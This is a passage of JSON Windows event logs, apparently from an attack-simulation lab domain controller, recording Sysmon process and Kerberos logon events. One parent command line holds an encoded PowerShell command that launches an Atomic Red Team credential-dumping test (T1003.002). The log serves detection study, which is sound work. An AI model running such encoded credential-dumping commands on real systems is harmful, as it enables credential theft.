ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.529","ProcessGuid":"{90617006-416F-5F2D-0000-0010C8440800}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","FileVersion":"4.7.2053.0 built by: NET47REL1","Description":"Visual C# Command Line Compiler","Product":"Microsoft® .NET Framework","Company":"Microsoft Corporation","OriginalFileName":"csc.exe","CommandLine":"\"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\Administrator\\AppData\\Local\\Temp\\qzd2uigm\\qzd2uigm.cmdline\"","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-416D-5F2D-0000-00205A000800}","LogonId":"0x8005a","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=4360A98D8785625667D2574D2DD5C988,SHA256=F7DB25AA420C14C514690C1E943EC1E729596973E911B3445DFAD42FE958711D,IMPHASH=ED2AE001A3FDD84BDC04C99A98883A52","ParentProcessGuid":"{90617006-416E-5F2D-0000-001033270800}","ParentProcessId":"4384","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEMAbwBuAGYAaQByAG0AOgAkAGYAYQBsAHMAZQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwBvAG4AZABzACAAMwAwADAAIAAtAEUAeABlAGMAdQB0AGkAbwBuAEwAbwBnAFAAYQB0AGgAIABDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAYQB0AGMAXwBlAHgAZQBjAHUAdABpAG8AbgAuAGMAcwB2AA==","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":222006,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":222007,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{C55C5FEE-8399-399E-D8E4-7AA9050A56EA}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{C55C5FEE-8399-399E-D8E4-7AA9050A56EA}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":222008,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{C55C5FEE-8399-399E-D8E4-7AA9050A56EA}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{C55C5FEE-8399-399E-D8E4-7AA9050A56EA}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222009,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x82638\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{C55C5FEE-8399-399E-D8E4-7AA9050A56EA}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x82638","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{C55C5FEE-8399-399E-D8E4-7AA9050A56EA}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222010,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x82638\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x82638","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5287,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.525\r\nSourceProcessGUID: {90617006-416E-5F2D-0000-001033270800}\r\nSourceProcessId: 4384\r\nSourceThreadId: 4408\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-416F-5F2D-0000-0010C8440800}\r\nTargetProcessId: 1516\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+270222|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26fe9f|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f9ee|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f97a|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26e48b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c241b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c18c9|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.P521220ea#\\7c5888f012755a21c68b60f0e76e135b\\Microsoft.PowerShell.Commands.Utility.ni.dll+ea3e2920(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.P521220ea#\\7c5888f012755a21c68b60f0e76e135b\\Microsoft.PowerShell.Commands.Utility.ni.dll+ea3e2920(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bea81e3(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be83fbc(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be83c8d(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c9350a2(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be44823(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bea2cf2(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be861e8(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.525","SourceProcessGUID":"{90617006-416E-5F2D-0000-001033270800}","SourceProcessId":"4384","SourceThreadId":"4408","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-416F-5F2D-0000-0010C8440800}","TargetProcessId":"1516","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+270222|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26fe9f|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f9ee|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f97a|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26e48b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c241b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c18c9|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.P521220ea#\\7c5888f012755a21c68b60f0e76e135b\\Microsoft.PowerShell.Commands.Utility.ni.dll+ea3e2920(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.P521220ea#\\7c5888f012755a21c68b60f0e76e135b\\Microsoft.PowerShell.Commands.Utility.ni.dll+ea3e2920(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bea81e3(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be83fbc(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be83c8d(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c9350a2(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be44823(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bea2cf2(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be861e8(wow64)","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5288,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.525\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-416F-5F2D-0000-0010C8440800}\r\nTargetProcessId: 1516\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.525","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-416F-5F2D-0000-0010C8440800}","TargetProcessId":"1516","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5289,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 